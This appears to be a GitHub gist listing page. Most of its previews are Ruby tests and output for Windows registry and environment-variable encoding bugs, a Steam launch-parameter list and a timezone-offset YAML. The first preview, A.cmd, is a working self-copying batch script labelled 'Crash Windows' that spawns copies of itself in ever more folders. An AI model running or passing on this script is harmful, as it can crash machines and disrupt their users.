Skip to content

Instantly share code, notes, and snippets.

View davispuh's full-sized avatar

Dāvis davispuh

  • Latvia
View GitHub Profile
@davispuh
davispuh / A.cmd
Last active December 27, 2015 22:39
Crash Windows. Tested to work for XP, Vista, Windows 7
@echo off
REM This script is dedicated to Public Domain
FOR %%i in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9) DO (
mkdir %%i
copy %~nx0 %%i
cd %%i
start %~nx0
cd ..
)
del %~nx0
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software]
"test"="åáâäãā"
"åáâäãā"="åáâäãā"
@davispuh
davispuh / test3.rb
Last active December 23, 2015 18:29
#!/usr/bin/env ruby
#encoding: utf-8
require 'win32/registry'
begin
Win32::Registry::HKEY_CURRENT_USER.open("Software", Win32::Registry::KEY_ALL_ACCESS) do |reg|
reg['test2'] = 'åáâäãā'
reg['test3åáâäãā'] = 'åáâäãā'
value = reg['test']
puts value.encoding
N:\Projects>ruby -v
ruby 2.0.0p247 (2013-06-27) [x64-mingw32]
N:\Projects>chcp 775
Active code page: 775
N:\Projects>ruby test2.rb
IBM775
Sistńma nevar atrast norŌdŅto failu.
"Sist\xE7ma nevar atrast nor\xE2d\xEEto failu."
#!/usr/bin/env ruby
#encoding: utf-8
require 'win32/registry'
begin
Win32::Registry::HKEY_CURRENT_USER.open("SOFTWARE\doesnt_exist") do |reg|
end
rescue Win32::Registry::Error => e
message = e.message
puts message.encoding
@davispuh
davispuh / steam_console_params.txt
Last active May 2, 2024 00:13
Steam client parameters, consoles commands and variables
-480p - Run tenfoot in 480p rather than 1080p
-720p - Run tenfoot in 720p rather than 1080p
-accesscode -
-all_languages - show longest loc string from any language
-batterytestmode - rapidly cycle battery percentages for testing
-bigpicture - Start in Steam Big Picture mode
-blefw -
-cafeapplaunch - Launch apps in a cyber cafe context
-candidates - Show libjingle candidates for local connection as they are processed
-ccsyntax - Spew details about the localized strings we load
@davispuh
davispuh / Ruby1.9
Created August 27, 2013 08:47
Ruby 1.9, ENV incorrect encoding.
N:\Projects>SET test=testing åáâäãā
N:\Projects>SET åáâäãā=testing åáâäãā
N:\Projects>ruby -v
ruby 1.9.3p448 (2013-06-27) [i386-mingw32]
N:\Projects>chcp 775
Active code page: 775
@davispuh
davispuh / Ruby2.0
Last active December 21, 2015 18:59
Ruby 2.0, ENV incorrect encoding.
N:\Projects>SET test=testing åáâäãā
N:\Projects>SET åáâäãā=testing åáâäãā
N:\Projects>ruby -v
ruby 2.0.0p247 (2013-06-27) [x64-mingw32]
N:\Projects>chcp 775
Active code page: 775
@davispuh
davispuh / test.rb
Created August 27, 2013 08:41
Test for Ruby ENV encoding bug
#!/usr/bin/env ruby
#encoding: utf-8
text = "testing åáâäãā"
test_env = ENV["test"]
test2_env = ENV["åáâäãā"]
puts "="*20
puts text.to_s
puts text.encoding
@davispuh
davispuh / TimezoneAbbr_To_Offsets.yaml
Last active December 21, 2015 03:59
Timezone abbreviations to UTC offsets
ACST:
- -14400
ACT:
- -18000
ADDT:
- -7200
ADMT:
- 9320
ADT:
- -10800